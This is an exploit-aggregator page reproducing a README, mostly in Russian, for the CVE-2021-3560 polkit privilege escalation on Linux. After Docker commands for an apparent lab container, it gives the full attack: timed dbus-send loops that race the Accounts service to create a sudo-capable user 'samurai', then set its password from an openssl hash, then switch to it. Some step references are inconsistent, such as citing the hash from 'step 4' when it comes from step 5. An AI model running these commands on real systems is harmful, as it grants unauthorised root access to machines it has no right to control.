Sploitus

Exploit for CVE-2021-3560-Polkit-Privilege-Escalation

kitploit · 2026-08-27

Exploit Code

MARKDOWN54 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MARKYU0401-CVE-2021-3560-POLKIT-PRIVILEGE-ESCALATION
# CVE-2021-3560-Polkit-Privilege-Escalation

by Mark, Qingchen Yu Для сборки контейнера с помощью

root@kitploit:~
    
    
    docker build -t <image tag of your choice> .
    

Для запуска контейнера

root@kitploit:~
    
    
    docker run -it <image tag name>
    

  1. начните с `start.sh`

  2. Измерьте время выполнения: Запомните время 'real' и вычислите его половину.

root@kitploit:~
         
         time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
         

  3. Создайте пользователя с привилегиями sudo: Замените X.XXX на половину времени 'real' из предыдущего шага, так как мы хотим прервать процесс в середине. Команда будет выполняться в цикле 10000 раз. Возможно, потребуется запустить этот шаг несколько раз.

root@kitploit:~
         
         for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
         

  4. Проверьте создание пользователя `id samurai` Должна отобразиться информация, что пользователь samurai существует, и его права. Если нет, повторите шаг 2.

  5. Сгенерируйте хэш пароля: в данном случае пароль будет 'iamsamurai' Запомните сгенерированный хэш.

root@kitploit:~
         
         openssl passwd -5 iamsamurai
         

  6. Установите пароль для нового пользователя: Замените X.XXX на длительность паузы, а Password Hash на хэш из шага 4. Замените UUUU на ID пользователя 'samurai'

root@kitploit:~
         
         for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
         

  7. Переключитесь на нового пользователя с паролем, созданным в шаге 4. `su - samurai`

Теперь вы должны иметь возможность использовать 'sudo' от имени этого пользователя.